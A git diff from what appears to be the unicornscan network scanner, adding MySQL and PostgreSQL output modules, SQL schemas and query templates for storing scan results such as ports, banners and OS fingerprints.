query) == 0) { + if (myres) mysql_free_result(myres); + myres=mysql_store_result(myconn); + if (myres == NULL) { + MSG(M_ERR, "Store Result `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return; + } + } + else { + MSG(M_WARN, "Query `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return; + } + + return; +} + +int delete_module(void) { + if (db_disable) return 1; + + if (myres) mysql_free_result(myres); + mysql_close(myconn); + + db_disable=1; + return 1; +} + +void mysql_database_init(void) { + int results=0; + char query[2048], ptstr[256], pcstr[256]; + char *hostname=NULL, *dbname=NULL, *username=NULL, *password=NULL; + unsigned int port=3306; + keyval_t *kv=NULL; + seo_t scanopts; + + grab_keyvals(_m); + + if (_m == NULL || _m->mp == NULL) return; + + if (myconn != NULL) { + if (myres) mysql_free_result(myres); myres=NULL; + mysql_close(myconn); myconn=NULL; + return; + } + + for (kv=_m->mp->kv ; kv != NULL ; kv=kv->next) { + if (strcmp(kv->key, "hostname") == 0) { + hostname=kv->value; + } + else if (strcmp(kv->key, "port") == 0) { + port=(unsigned int)atoi(kv->value); + } + else if (strcmp(kv->key, "username") == 0) { + username=kv->value; + } + else if (strcmp(kv->key, "password") == 0) { + password=kv->value; + } + else if (strcmp(kv->key, "dbname") == 0) { + dbname=kv->value; + } + } + + if (dbname == NULL) { + dbname=xstrdup(DBNAME); + } + + if (_m->s->verbose > 1) MSG(M_DBG1, "MySQL Database module is enabled"); + + myconn=mysql_init(NULL); + if (myconn == NULL) { + MSG(M_ERR, "Cant initialize a mysql structure, disabling"); + db_disable=1; + return; + } + + if (mysql_real_connect(myconn, hostname, username, password, dbname, (hostname != NULL ? port : 0), NULL, 0) == NULL) { + MSG(M_WARN, "MySQL real connect fails: %s", mysql_error(myconn)); + db_disable=1; + return; + } + if (myconn == NULL) { + MSG(M_ERR, "sldfkskfsdkfsdf: %s", mysql_error(myconn)); + exit(32); + } + + if (_m->s->verbose) { + MSG(M_INFO, "database: Connected to host %s:%u, database %s, as user %s, with protocol version %u", hostname, port, dbname, username, mysql_get_proto_info(myconn)); + } + + if (get_scanopts(&scanopts) < 0) { + MSG(M_ERR, "Serious problems getting scan options for insertion into database"); + db_disable=1; + return; + } + + snprintf(ptstr, sizeof(ptstr) -1, "%s", mysql_escstr(s->port_str)); + snprintf(pcstr, sizeof(pcstr) -1, "%s", mysql_escstr((const char *)(s->extra_pcapfilter != NULL ? s->extra_pcapfilter : "None"))); + + CLEAR(query); + snprintf(query, sizeof(query) -1, mysql_scaninfo, + (long long int)s->s_time, (long long int)0, (uint64_t )ntohl(s->vi[0]->myaddr.sin_addr.s_addr), ptstr, + (uint64_t )s->_low_ip, (uint64_t )s->_high_ip, scanopts.mode, s->pps, s->payload_group, + pcstr, (s->drone_str != NULL ? mysql_escstr(s->drone_str) : "None"), scanopts.fingerprint, scanopts.tos, + scanopts.ttl, scanopts.ip_off, scanopts.tcphdrflgs, scanopts.src_port, s->repeats, + s->send_opts, s->recv_opts, s->options); + + if (mysql_query(myconn, query) == 0) { + if (myres) mysql_free_result(myres); /* shouldnt be needed */ + myres=mysql_store_result(myconn); + if (myres == NULL) { + MSG(M_ERR, "Store Result `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return; + } + } + else { + MSG(M_WARN, "Query `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return; + } + + sprintf(query, "select last_insert_id()"); + if (mysql_query(myconn, query) == 0) { + if (myres) mysql_free_result(myres); + myres=mysql_store_result(myconn); + if (myres == NULL) { + MSG(M_ERR, "Store Result `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return; + } + } + else { + MSG(M_WARN, "Query `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return; + } + + results=mysql_num_rows(myres); + if (results == 1) { + MYSQL_ROW myrow; + + mysql_data_seek(myres, 0); + myrow=mysql_fetch_row(myres); + if (myrow == NULL) { + MSG(M_ERR, "Cant fetch row: %s", mysql_error(myconn)); + db_disable=1; + return; + } + + if (myrow[0] == NULL) { + MSG(M_ERR, "mysql returned a null result"); + db_disable=1; + return; + } + + if (sscanf(myrow[0], "%llu", &scanid) != 1) { + MSG(M_ERR, "Malformed scanid from database"); + db_disable=1; + return; + } + } + else { + MSG(M_ERR, "mysql returned no scanid, disable mysql"); + db_disable=1; + return; + } + + return; +} + +int send_output(const void *r) { + union { + const ip_report_t *ir; + const arp_report_t *ar; + const void *ptr; + const uint16_t *r_magic; + } r_u; + char query[2048]; + uint64_t sb_id=0; + + if (db_disable) return 0; + + CLEAR(db_banner); CLEAR(db_os); + CLEAR(query); + + r_u.ptr=r; + + if (*r_u.r_magic != IP_REPORT_MAGIC) { + return 0; + } + + fifo_walk(r_u.ir->od_q, &database_walk_func); + + snprintf(query, sizeof(query) -1, mysql_scandata, + scanid, r_u.ir->proto, r_u.ir->type, r_u.ir->subtype, r_u.ir->dport, r_u.ir->sport, r_u.ir->ttl, + htonl(r_u.ir->host_addr), htonl(r_u.ir->trace_addr), (long long unsigned int )r_u.ir->recv_time.tv_sec, + (long long unsigned int)r_u.ir->recv_time.tv_usec); + + if (mysql_query(myconn, query) == 0) { + if (myres) mysql_free_result(myres); + myres=mysql_store_result(myconn); + if (myres == NULL) { + MSG(M_ERR, "Store Result `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + } + else { + MSG(M_WARN, "Query `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + + if (strlen(db_banner) == 0 || strlen(db_os) == 0) { + return 1; + } + + sprintf(query, "select last_insert_id()"); + if (mysql_query(myconn, query) == 0) { + if (myres) mysql_free_result(myres); + myres=mysql_store_result(myconn); + if (myres == NULL) { + MSG(M_ERR, "Store Result `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + } + else { + MSG(M_WARN, "Query `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + + if (mysql_num_rows(myres) == 1) { + MYSQL_ROW myrow; + + mysql_data_seek(myres, 0); + myrow=mysql_fetch_row(myres); + + if (myrow[0] == NULL) { + MSG(M_ERR, "mysql returned a NULL col"); + db_disable=1; + return -1; + } + + if (sscanf(myrow[0], "%llu", &sb_id) != 1) { + MSG(M_ERR, "Malformed scan bucket id from database"); + db_disable=1; + return -1; + } + } + + if (strlen(db_banner)) { + snprintf(query, sizeof(query) -1, mysql_scandata_b, sb_id, mysql_escstr(db_banner)); + if (mysql_query(myconn, query) == 0) { + if (myres) mysql_free_result(myres); + myres=mysql_store_result(myconn); + if (myres == NULL) { + MSG(M_ERR, "Store Result `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + } + else { + MSG(M_WARN, "Query `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + } + + if (strlen(db_os)) { + snprintf(query, sizeof(query), mysql_scandata_o, sb_id, mysql_escstr(db_os)); + if (mysql_query(myconn, query) == 0) { + if (myres) mysql_free_result(myres); + myres=mysql_store_result(myconn); + if (myres == NULL) { + MSG(M_ERR, "Store Result `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + } + else { + MSG(M_WARN, "Query `%s' errors with `%s'", query, mysql_error(myconn)); + db_disable=1; + return -1; + } + } + + return 1; +} + +static void database_walk_func(const void *item) { + union { + const void *ptr; + const output_data_t *d; + } d_u; + + d_u.ptr=item; + switch (d_u.d->type) { + case OD_TYPE_BANNER: + CLEAR(db_banner); /* XXX */ + snprintf(db_banner, sizeof(db_banner) -1, "%s", mysql_escstr(d_u.d->t_u.banner)); + break; + case OD_TYPE_OS: + CLEAR(db_os); + snprintf(db_os, sizeof(db_os) -1, "%s", mysql_escstr(d_u.d->t_u.os)); + break; + default: + MSG(M_ERR, "Unknown output format type %d in database push", d_u.d->type); + break; + } + + return; +} + +char *mysql_escstr(const char *from) { + static char buf[256], buf2[127]; + + CLEAR(buf2); CLEAR(buf); + snprintf(buf2, sizeof(buf2) -1, "%s", from); + + /* this function doesnt stop on \0, it would seem */ + /* The string pointed to by from must be length bytes long. (p 3) */ + (void) mysql_real_escape_string(myconn, buf, (const char *)buf2, (unsigned long) strlen(buf2)); + + return buf; +} diff --git a/src/output_modules/database/attic/pg_proc.sql b/src/output_modules/database/attic/pg_proc.sql new file mode 100644 index 0000000..81c4339 --- /dev/null +++ b/src/output_modules/database/attic/pg_proc.sql @@ -0,0 +1,54 @@ +-- scan_id protocol ha_min ha_max +-- tr_min tr_max dp_min dp_max sp_min sp_max ty_min ty_max +-- st_min st_max ttl_min ttl_max tsmp_min tsmp_max os banner + + +drop function search_scanbucket(integer, integer, integer, integer, + integer, integer, integer, integer, integer, integer, integer, integer, + integer, integer, integer, integer, integer, integer, char, char); + +-- scan_id $1 protocol $2 +-- host_addr_min $3 host_addr_max $4 +-- trace_addr_min $5 trace_addr_max $6 +-- dport_min $7 dport_max $8 +-- sport_min $9 sport_max $10 +-- type_min $11 type_max $12 +-- subtype_min $13 subtype_max $14 +-- ttl_min $15 ttl_max $16 +-- tstamp_min $17 tstamp_max $18 +-- os $19 +-- banner $20 +create function search_scanbucket(integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, integer, char, char) returns char as +'declare + from_tbls varchar(128); + sel_cols varchar(64); + join_stmt varchar(256); + my_query varchar(1024); +begin + sel_cols := \'s.*\'; + from_tbls := \'scan_bucket s\'; + if $1 > 0 then + join_stmt := \' s.scan_id=\' || $1 || \' \'; + else + join_stmt := \' s.scan_id > 0 \'; + end if; + + if $19 != \'\' then + from_tbls := from_tbls || \', os_fingerprint o\'; + sel_cols := sel_cols || \', o.os\'; + join_stmt := join_stmt || \' and o.scan_bucket_id=s.scan_bucket_id and upper(o.os) ~ upper(\'\'\' || $18 || \'\'\')\'; + end if; + + if $20 != '''' then + from_tbls := from_tbls || '', banner b''; + sel_cols := sel_cols || '', b.banner''; + join_stmt := join_stmt || \' and b.scan_bucket_id=s.scan_bucket_id and upper(b.banner) ~ upper(\'\'\' || $19 || \'\'\')\'; + end if; + + my_query := ''select '' || sel_cols || '' from '' || from_tbls || '' where '' || join_stmt; + + return my_query; +end; +' language plpgsql; + + diff --git a/src/output_modules/database/attic/pgsql_schema.sql b/src/output_modules/database/attic/pgsql_schema.sql new file mode 100644 index 0000000..5df83a1 --- /dev/null +++ b/src/output_modules/database/attic/pgsql_schema.sql @@ -0,0 +1,85 @@ +alter table "scan_bucket" + drop constraint bktFK_scan_id; + +alter table "banner" + drop constraint bnrFK_scan_bucket_id; + +alter table "os_fingerprint" + drop constraint osfnrFK_scan_bucket_id; + +drop sequence scan_bucket_id_seq; +drop sequence scan_id_seq; +drop sequence scan_queue_id_seq; + +drop table "os_fingerprint"; +drop table "banner"; +drop table "scan_bucket"; +drop table "scan"; + +create sequence scan_id_seq; +create table "scan" +( + "scan_id" int8 not null default nextval('scan_id_seq'), + "s_time" int8 not null, + "e_time" int8 not null, + "targetstr" varchar(200) not null, + "portstr" varchar(200) not null, + "send_ip" int8 not null, + "scanmode" int2 not null, + "pps" int8 not null, + "srcport" int4 not null, + "fingerprint" int4 not null, + "tcpflags" int4 not null, + "active_plgroups"int2 not null, + "dronestr" varchar(200) not null, + "minttl" int2 not null, + "maxttl" int2 not null, + "iptos" int2 not null, + "ipoffset" int4 not null, + "repeats" int8 default null, + "pcapfilter" varchar(200) not null, + "listener_flags"int4 not null, + "sender_flags" int4 not null, + "master_flags" int4 not null, + primary key("scan_id") +); + +create sequence scan_bucket_id_seq; +create table "scan_bucket" +( + "scan_bucket_id"int8 not null default nextval('scan_bucket_id_seq'), + "scan_id" int8 not null, + "protocol" int2 not null, + "host_addr" int8 not null, -- ipv4 only obviously + "trace_addr" int8 not null, + "dport" int4 not null, + "sport" int4 not null, + "type" int4 not null, + "subtype" int4 not null, + "ttl" int2 not null, + "u_tstamp" int8 not null, + "u_utstamp" int8 not null, + "seq" int8 not null, + "window" int8 not null, + primary key ("scan_bucket_id") +); + +create table "os_fingerprint" +( + "scan_bucket_id"int8 not null, + "os" varchar(200) not null +); + +create table "banner" +( + "scan_bucket_id"int8 not null, + "banner" varchar(200) not null +); + +alter table "banner" + add constraint bnrFK_scan_bucket_id foreign key("scan_bucket_id") + references "scan_bucket"("scan_bucket_id"); + +alter table "os_fingerprint" + add constraint osfnrFK_scan_bucket_id foreign key("scan_bucket_id") + references "scan_bucket"("scan_bucket_id"); diff --git a/src/output_modules/database/attic/template.sql b/src/output_modules/database/attic/template.sql new file mode 100644 index 0000000..515b83d --- /dev/null +++ b/src/output_modules/database/attic/template.sql @@ -0,0 +1,34 @@ +##scaninfo:pgsql: +insert into +scan (s_time, e_time, targetstr, portstr, scanmode, pps, active_plgroups, pcapfilter, dronestr, fingerprint, iptos, ipttl, ipoffset, tcpflags, srcport, repeats, listener_flags, sender_flags, master_flags) +values(%lld, %lld, %llu, '%s', '%s', %u, %u, %u, '%s', '%s', %u, %u, %u, %u, %u, %d, %u, %u, %u, %u); +select currval('scan_id_seq'); +##scaninfo:mysql: +insert into +scan (s_time, e_time, targetstr, portstr, scanmode, pps, active_plgroups, pcapfilter, dronestr, fingerprint, iptos, ipttl, ipoffset, tcpflags, srcport, repeats, listener_flags, sender_flags, master_flags) +values(%lld, %lld, %llu, '%s', '%s', %u, %u, %u, '%s', '%s', %u, %u, %u, %u, %u, %d, %u, %u, %u, %u) +##scantrans:pgsql: +begin; +##scantrans:mysql: +##scandata:pgsql: +insert into scan_bucket(scan_id, protocol, type, subtype, dport, sport, ttl, host_addr, trace_addr, u_tstamp, u_utstamp) +values(%lld, %u, %u, %u, %u, %u, %u, %u, %u, %lld, %llu); +select currval('scan_bucket_id_seq') as myid; +##scandata:mysql: +insert into scan_bucket(scan_id, protocol, type, subtype, dport, sport, ttl, host_addr, trace_addr, u_tstamp, u_utstamp) +values(%lld, %u, %u, %u, %u, %u, %u, %u, %u, %lld, %llu) +##scandata_b:pgsql: +insert into banner(scan_bucket_id, banner) values(%llu, '%s'); +##scandata_b:mysql: +insert into banner(scan_bucket_id, banner) values(%llu, '%s') +##scandata_o:pgsql: +insert into os_fingerprint(scan_bucket_id, os) values(%llu, '%s'); +##scandata_o:mysql: +insert into os_fingerprint(scan_bucket_id, os) values(%llu, '%s') +##scanfini:pgsql: +update scan set e_time=%lld where scan_id=%lld; +##scanfini:mysql: +update scan set e_time=%lld where scan_id=%lld +##scantransfini:pgsql: +commit; +##scantransfini:mysql: diff --git a/src/output_modules/database/pgsqldb.c b/src/output_modules/database/pgsqldb.c new file mode 100644 index 0000000..f38f839 --- /dev/null +++ b/src/output_modules/database/pgsqldb.c @@ -0,0 +1,774 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include + +static int pgsql_disable=0; +static unsigned long long int pgscanid=0; + +static mod_entry_t *_m=NULL; +static char *pgsql_escstr(const char *); + +static PGconn *pgconn=NULL; +static PGresult *pgres=NULL; +static ExecStatusType pgret; +static const settings_t *s=NULL; +static char querybuf[1024 * 8]; +static char db_os[4096], db_banner[4096]; + +void pgsql_database_init(void); +void pgsql_database_fini(void); + +static int pgsql_dealwith_sworkunit(uint32_t, const send_workunit_t *); +static int pgsql_dealwith_rworkunit(uint32_t, const recv_workunit_t *); +static int pgsql_dealwith_ipreport(const ip_report_t *); +static int pgsql_dealwith_arpreport(const arp_report_t *); +static int pgsql_dealwith_wkstats(uint32_t /* magic */, const workunit_stats_t *); +static void database_walk_func(void *); + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "Output to PostgreSQL Database"); + snprintf(m->name, sizeof(m->name) -1, "pgsqldb"); + snprintf(m->errstr, sizeof(m->errstr) -1, "No Error"); + + m->iver=0x0103; /* 1.0 */ + m->type=MI_TYPE_OUTPUT; + + m->param_u.output_s.init_output=&pgsql_database_init; + m->param_u.output_s.fini_output=&pgsql_database_fini; + + s=m->s; + _m=m; + return 1; +} + +int delete_module(void) { + + return 1; +} + +void pgsql_database_init(void) { + keyval_t *kv=NULL; + char *connstr=NULL, *escres=NULL; + char profile[200], dronestr[200], modules[200], user[200], pcap_dumpfile[200], pcap_readfile[200]; + long long int est_e_time=0; + + grab_keyvals(_m); + + if (_m == NULL || _m->mp == NULL) { + return; + } + + DBG(M_MOD, "PostgreSQL module is enabled"); + + for (kv=_m->mp->kv ; kv != NULL ; kv=kv->next) { + if (strcmp(kv->key, "dbconf") == 0) { + connstr=kv->value; + } + if (strcmp(kv->key, "logpacket") == 0) { + if (strcmp(kv->value, "true") == 0) { + if (scan_setretlayers(0xff) < 0) { + ERR("cant request whole packet transfer, ignoring log packet option"); + } + } + } + } + + if (connstr == NULL) { + ERR("no configuration for PostGreSQL, need an entry in config for `dbconf' with a valid PostGreSQL connection string"); + pgsql_disable=1; + return; + } + + pgconn=PQconnectdb(connstr); + if (pgconn == NULL || PQstatus(pgconn) != CONNECTION_OK) { + ERR("PostgreSQL connection fails: %s", + pgconn == NULL ? "unknown" : PQerrorMessage(pgconn) + ); + pgsql_disable=1; + return; + } + + VRB(0, "PostgreSQL: connected to host %s, database %s, as user %s, with protocol version %d", + PQhost((const PGconn *)pgconn), + PQdb((const PGconn *)pgconn), + PQuser((const PGconn *)pgconn), + PQprotocolVersion((const PGconn *)pgconn) + ); + + escres=pgsql_escstr(s->profile); + strncpy(profile, escres, sizeof(profile) -1); + + dronestr[0]='\0'; + if (s->drone_str != NULL) { + escres=pgsql_escstr(s->drone_str); + strncpy(dronestr, escres, sizeof(dronestr) -1); + } + + modules[0]='\0'; + if (s->module_enable != NULL) { + escres=pgsql_escstr(s->module_enable); + strncpy(modules, escres, sizeof(modules) -1); + } + + user[0]='\0'; + if (s->user != NULL) { + escres=pgsql_escstr(s->user); + strncpy(user, escres, sizeof(user) -1); + } + + pcap_dumpfile[0]='\0'; + if (s->pcap_dumpfile != NULL) { + escres=pgsql_escstr(s->pcap_dumpfile); + strncpy(pcap_dumpfile, escres, sizeof(pcap_dumpfile) -1); + } + + pcap_readfile[0]='\0'; + if (s->pcap_readfile != NULL) { + escres=pgsql_escstr(s->pcap_readfile); + strncpy(pcap_readfile, escres, sizeof(pcap_readfile) -1); + } + + est_e_time=(long long int )s->s_time + (long long int )s->ss->recv_timeout + (long long int )s->num_secs; + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_scans ( " + "\"s_time\", \"e_time\", \"est_e_time\", \"senders\", " + "\"listeners\", \"scan_iter\", \"profile\", \"options\", " + "\"payload_group\", \"dronestr\", \"covertness\", \"modules\", " + "\"user\", \"pcap_dumpfile\", \"pcap_readfile\", \"tickrate\", " + "\"num_hosts\", \"num_packets\" " + ") " + "values( " + "%lld, %lld, %lld, %d, " + "%d, %d, '%s', %hu, " + "%hu, '%s', %hu, '%s', " + "'%s', '%s', '%s', %hu, " + "%f, %f " + "); " + "select currval('uni_scans_id_seq') as scanid; ", + (long long int )s->s_time, (long long int )0, est_e_time, s->senders, + s->listeners, s->scan_iter, profile, s->options, + s->payload_group, dronestr, s->covertness, modules, + user, pcap_dumpfile, pcap_readfile, s->master_tickrate, + s->num_hosts, s->num_packets + ); + + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_TUPLES_OK) { + ERR("PostgreSQL scan insert id returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return; + } + + if (PQntuples(pgres) != 1) { + ERR("PostgreSQL returned a row count other than 1, disable"); + pgsql_disable=1; + return; + } + else { + char *res_ptr=NULL; + + res_ptr=PQgetvalue(pgres, 0, 0); + + if (res_ptr == NULL) { + ERR("database returned NULL result pointer, disable"); + pgsql_disable=1; + return; + } + + if (sscanf(res_ptr, "%llu", &pgscanid) != 1) { + ERR("malformed pgscanid from database"); + pgsql_disable=1; + return; + } + } + PQclear(pgres); + + return; +} + +int send_output(const void *p) { + union { + const uint32_t *magic; + const void *p; + const struct wk_s *wrk; + const ip_report_t *ir; + const arp_report_t *arrrrr; /* pirate report */ + const struct workunit_stats_t *wks; + } d_u; + + d_u.p=p; + + if (p == NULL) { + return -1; + } + + switch (*d_u.magic) { + case WK_MAGIC: + if (d_u.wrk->s != NULL) { + return pgsql_dealwith_sworkunit(d_u.wrk->wid, d_u.wrk->s); + } + else if (d_u.wrk->r != NULL) { + return pgsql_dealwith_rworkunit(d_u.wrk->wid, d_u.wrk->r); + } + else { + ERR("unknown workunit type"); + } + break; + + case WKS_SEND_MAGIC: + case WKS_RECV_MAGIC: + return pgsql_dealwith_wkstats(*d_u.magic, d_u.wks); + break; + + case IP_REPORT_MAGIC: + return pgsql_dealwith_ipreport(d_u.ir); + break; + + case ARP_REPORT_MAGIC: + return pgsql_dealwith_arpreport(d_u.arrrrr); + break; + + default: + ERR("unknown output magic type %08x", *d_u.magic); + break; + } + + return 1; +} + +static int pgsql_dealwith_sworkunit(uint32_t wid, const send_workunit_t *w) { + char myaddr[128], mymask[128], macaddr[64], target[128], targetmask[128], port_str[1024 * 4]; + char *ipopts=NULL, *tcpopts=NULL, *pstr=NULL, *escret=NULL; + char blank[1]; + size_t ipopts_len=0, tcpopts_len=0; + + blank[0]='\0'; + + if (w->tcpoptions_len > 0) { + tcpopts=PQescapeBytea(w->tcpoptions, w->tcpoptions_len, &tcpopts_len); + } + else { + tcpopts=blank; + } + + if (w->ipoptions_len > 0) { + ipopts=PQescapeBytea(w->ipoptions, w->ipoptions_len, &ipopts_len); + } + else { + ipopts=blank; + } + + escret=pgsql_escstr(cidr_saddrstr((const struct sockaddr *)&w->myaddr)); + strncpy(myaddr, escret, sizeof(myaddr) -1); + + escret=pgsql_escstr(cidr_saddrstr((const struct sockaddr *)&w->mymask)); + strncpy(mymask, escret, sizeof(mymask) -1); + + escret=pgsql_escstr(cidr_saddrstr((const struct sockaddr *)&w->target)); + strncpy(target, escret, sizeof(target) -1); + + escret=pgsql_escstr(cidr_saddrstr((const struct sockaddr *)&w->targetmask)); + strncpy(targetmask, escret, sizeof(targetmask) -1); + + pstr=workunit_pstr_get(w); + + port_str[0]='\0'; + if (pstr != NULL) { + escret=pgsql_escstr(pstr); + strncpy(port_str, escret, sizeof(port_str) -1); + } + + snprintf(macaddr, sizeof(macaddr) -1, "%02x:%02x:%02x:%02x:%02x:%02x", + w->hwaddr[0], w->hwaddr[1], w->hwaddr[2], + w->hwaddr[3], w->hwaddr[4], w->hwaddr[5] + ); + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_sworkunits ( " + "\"magic\", \"scans_id\", \"repeats\", \"send_opts\", " + "\"pps\", \"delay_type\", \"myaddr\", \"mymask\", " + "\"macaddr\", \"mtu\", \"target\", \"targetmask\", " + "\"tos\", \"minttl\", \"maxttl\", \"fingerprint\", " + "\"src_port\", \"ip_off\", \"ipoptions\", \"tcpflags\", " + "\"tcpoptions\", \"window_size\", \"syn_key\", \"port_str\", " + "\"wid\", \"status\" " + ") " + "values( " + "%u, %llu, %hu, %hu, " + "%u, %hu, '%s', '%s', " + "'%s', %hu, '%s', '%s', " + "%hu, %hu, %hu, %hu, " + "%hu, %u, '%s', %u, " + "'%s', %hu, %u, '%s', " + "%u, %d " + "); ", + w->magic, pgscanid, w->repeats, w->send_opts, + w->pps, w->delay_type, myaddr, mymask, + macaddr, w->mtu, target, targetmask, + w->tos, w->minttl, w->maxttl, w->fingerprint, + w->src_port, w->ip_off, ipopts, w->tcphdrflgs, + tcpopts, w->window_size, w->syn_key, port_str, + wid, 0 + ); + + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL scan insert id returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + PQclear(pgres); + + if (ipopts != blank) { + free(ipopts); /* not allocated with xmalloc, so dont use xfree */ + } + if (tcpopts != blank) { + free(tcpopts); + } + + return 1; +} + +static int pgsql_dealwith_wkstats(uint32_t magic, const workunit_stats_t *w) { + char msg[2048], *escret=NULL; + + if (w->msg == NULL) { + return -1; + } + escret=pgsql_escstr(w->msg); + strncpy(msg, escret, sizeof(msg) -1); + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_workunitstats (\"wid\", \"scans_id\", \"msg\") " + " values(%u, %llu, '%s'); " + "update %s set status=1 where wid=%u and scans_id=%llu; ", + w->wid, pgscanid, msg, + magic == WKS_SEND_MAGIC ? "uni_sworkunits" : "uni_lworkunits", + w->wid, pgscanid + ); + + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL scan insert id returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + PQclear(pgres); + + return 1; +} + +static int pgsql_dealwith_rworkunit(uint32_t wid, const recv_workunit_t *w) { + char pcap_str[1024], *fstr=NULL, *escret=NULL; + + pcap_str[0]='\0'; + + fstr=workunit_fstr_get(w); + if (fstr != NULL) { + escret=pgsql_escstr(fstr); + strncpy(pcap_str, escret, sizeof(pcap_str) -1); + } + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_lworkunits ( " + " \"magic\", \"scans_id\", \"recv_timeout\", \"ret_layers\", " + " \"recv_opts\", \"window_size\", \"syn_key\", \"pcap_str\", " + " \"wid\", \"status\" " + ") " + "values( " + " %u, %llu, %hu, %hu, " + " %hu, %u, %u, '%s', " + " %u, %d " + "); ", + w->magic, pgscanid, w->recv_timeout, w->ret_layers, + w->recv_opts, w->window_size, w->syn_key, pcap_str, + wid, 0 + ); + + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL scan insert id returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + PQclear(pgres); + + return 1; +} + +/* + * XXX we have to trust other code to not lie about the length here + */ +static int pgsql_dealwith_ipreport(const ip_report_t *i) { + uint32_t tv_sec=0, tv_usec=0; + char send_addr[128], host_addr[128], trace_addr[128]; + unsigned long long int ipreportid=0; + struct in_addr ia; + + ia.s_addr=i->send_addr; + snprintf(send_addr, sizeof(send_addr) -1, "%s", inet_ntoa(ia)); + ia.s_addr=i->host_addr; + snprintf(host_addr, sizeof(host_addr) -1, "%s", inet_ntoa(ia)); + ia.s_addr=i->trace_addr; + snprintf(trace_addr, sizeof(trace_addr) -1, "%s", inet_ntoa(ia)); + + tv_sec=(uint32_t )i->recv_time.tv_sec; + tv_usec=(uint32_t )i->recv_time.tv_usec; + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_ipreport ( \n" + " \"scans_id\", \"magic\", \"sport\", \"dport\", \n" + " \"proto\", \"type\", \"subtype\", \"send_addr\", \n" + " \"host_addr\", \"trace_addr\", \"ttl\", \"tstamp\", \n" + " \"utstamp\", \"flags\", \"mseq\", \"tseq\", \n" + " \"window_size\", \"t_tstamp\", \"m_tstamp\" \n" + ") \n" + "values( \n" + " %llu, %u, %hu, %hu, \n" + " %hu, %hu, %hu, '%s', \n" + " '%s', '%s', %hu, %u, \n" + " %u, %hu, %u, %u, \n" + " %hu, %u, %u \n" + "); \n" + "select currval('uni_ipreport_id_seq') as ipreportid; \n", + pgscanid, i->magic, i->sport, i->dport, + i->proto, i->type, i->subtype, send_addr, + host_addr, trace_addr, i->ttl, tv_sec, + tv_usec, i->flags, i->mseq, i->tseq, + i->window_size, i->t_tstamp, i->m_tstamp + ); + + pgres=PQexec(pgconn, querybuf); + pgret=PQresultStatus(pgres); + if (pgret != PGRES_TUPLES_OK) { + ERR("PostgreSQL scan insert id returned a strange return code %s: %s", PQresStatus(pgret), PQresultErrorMessage(pgres)); + pgsql_disable=1; + return -1; + } + + if (PQntuples(pgres) != 1) { + ERR("PostgreSQL returned a row count other than 1, disable"); + pgsql_disable=1; + return -1; + } + else { + char *res_ptr=NULL; + + res_ptr=PQgetvalue(pgres, 0, 0); + + if (res_ptr == NULL) { + ERR("database returned NULL result pointer, disable"); + pgsql_disable=1; + return -1; + } + + if (sscanf(res_ptr, "%llu", &ipreportid) != 1) { + ERR("malformed pgscanid from database"); + pgsql_disable=1; + return -1; + } + } + PQclear(pgres); + + /* + * trust problem + */ + if (i->doff > 0) { + const void *packet=NULL; + size_t packet_len=i->doff, packet_strlen=0; + union { + const void *p; + const ip_report_t *i; + } d_u; + char *packet_str=NULL; + + d_u.i=i; + + d_u.i++; + packet=d_u.p; + + packet_str=PQescapeBytea(packet, packet_len, &packet_strlen); + + snprintf(querybuf, sizeof(querybuf) -1, + "insert into uni_ippackets (\"ipreport_id\", \"packet\") values(%llu, '%s');", + ipreportid, packet_str + ); + + pgres=PQexec(pgconn, querybuf); + + pgret=PQresultStatus(pgres); + if (pgret != PGRES_COMMAND_OK) { + ERR("PostgreSQL insert returned a strange 